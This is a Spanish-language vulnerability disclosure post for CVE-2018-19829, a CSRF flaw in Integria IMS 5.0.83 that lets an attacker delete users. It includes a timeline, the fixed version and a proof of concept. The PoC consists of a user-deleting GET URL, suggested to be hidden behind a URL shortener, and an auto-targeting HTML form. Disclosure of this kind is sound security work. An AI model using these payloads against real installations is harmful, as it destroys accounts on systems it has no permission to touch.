Las vulnerabilidades Cross-Site Request Forgery (CSRF) encontradas en el software Integria IMS 5.0.83 han quedado solucionadas. Estas, permitían a un usuario malintencionado borrar usuarios de la aplicación a través de este ataque. La vulnerabilidad, ha sido asociada al CVE-2018-19829.

 

CVE-2018-19829

Integria IMS 5.0.83 – Cross-Site Request Forgery (CSRF)

Integria IMS es un software de help desk sencillo, potente y fácil de usar. Dispone de inventario automatizado y controlado desde un solo interfaz. Agiliza los procesos reduciendo los tiempos y costes de gestión en sus proyectos. Gracias a sus informes personalizados estará informado y podrá ver fácilmente la gestión y calidad del servicio dado en tiempo real.

📅 Vulnerabilidad descubierta por Javier Olmedo el 08/11/2018

💣 Publicada el 17/12/2018

🐛 CVE-2018-19829

🔗 Link del software Integria IMS

🐞 Versión vulnerable = 5.0.83 y anteriores

✔️ Solución: actualizar a la versión 5.0.84

 

Vector de ataque / Criticidad de la explotación

CRITICIDAD – MEDIA

A través de las vulnerabilidades Cross-Site Request Forgery (CSRF), un atacante podría aprovecharse de la confianza que tiene la aplicación sobre los usuarios legítimos para crear un enlace o formulario malicioso que será ejecutado a través de estos.

 

Parámetros / Recursos vulnerables

Durante la auditoria, se observó que el formulario encargado de borrar los usuarios carecía de token anti-CSRF.

 

Ejemplo de petición POST para borrar un usuario

 

Esto, permitiría a un atacante crear un enlace malicioso modificando el valor del parámetro id para realizar acciones de eliminación de usuarios sobre la aplicación, además, también se comprobó que las peticiones POST podían ser cambiadas al método GET.

 

 

Prueba de concepto (PoC)

En la siguiente prueba de concepto se ha dividido la pantalla en dos partes, en la parte izquierda se encontraría un usuario en el panel de administración, mientras que en la parte derecha, un atacante genera un botón malicioso previamente configurado para realizar la acción de eliminación de usuarios.

NOTA

Se ha utilizado un formulario para la explotación de la vulnerabilidad, pero en un escenario real, a un atacante le bastaría con generar el enlace y acortar la URL (Google URL Shortener) para ofuscar la acción e intentar explotar la vulnerabilidad con éxito, ya que las peticiones pueden ser cambiadas al método GET, por esta razón se explican dos maneras de explotarla.

 

Metodo 1

Acortar la siguiente URL y enviarlo a la víctima.

URL: http://localhost/integria/ajax.php?page=include/ajax/delete_item_general&delete_item=1&name=delete_user&id=[ID]

 

Metodo 2

Generar un botón malicioso

<html>
 <body>
  <script>history.pushState('', '', '/')</script>
  <form action="http://localhost/integria/index.php">
   <input type="hidden" name="sec" value="users" />
   <input type="hidden" name="sec2" value="godmode&#47;usuarios&#47;lista&#95;usuarios" />
   <input type="hidden" name="borrar&#95;usuario" value="jolmedo" />
   <input type="submit" value="Eliminar usuario jolmedo" />
  </form>
 </body>
</html>

 

Timeline

08/11/2018 Descubrimiento

08/11/2018 El desarrollador conoce la vulnerabilidad

01/12/2018 Solicitud CVE

03/12/2018 Asignación de CVE-2018-19829 por MITRE

10/12/2018 Parcheada

14/12/2018 Publicación vulnerabilidad

 

Referencias

CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19829

 

Un saludo a todos!! 👋


Javier Olmedo

Consultor de Ciberseguridad e Investigador de Seguridad de Aplicaciones Web en mi tiempo libre, Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Software, apasionado de la [In]Seguridad Informática.

0 commentarios

Deja tu comentario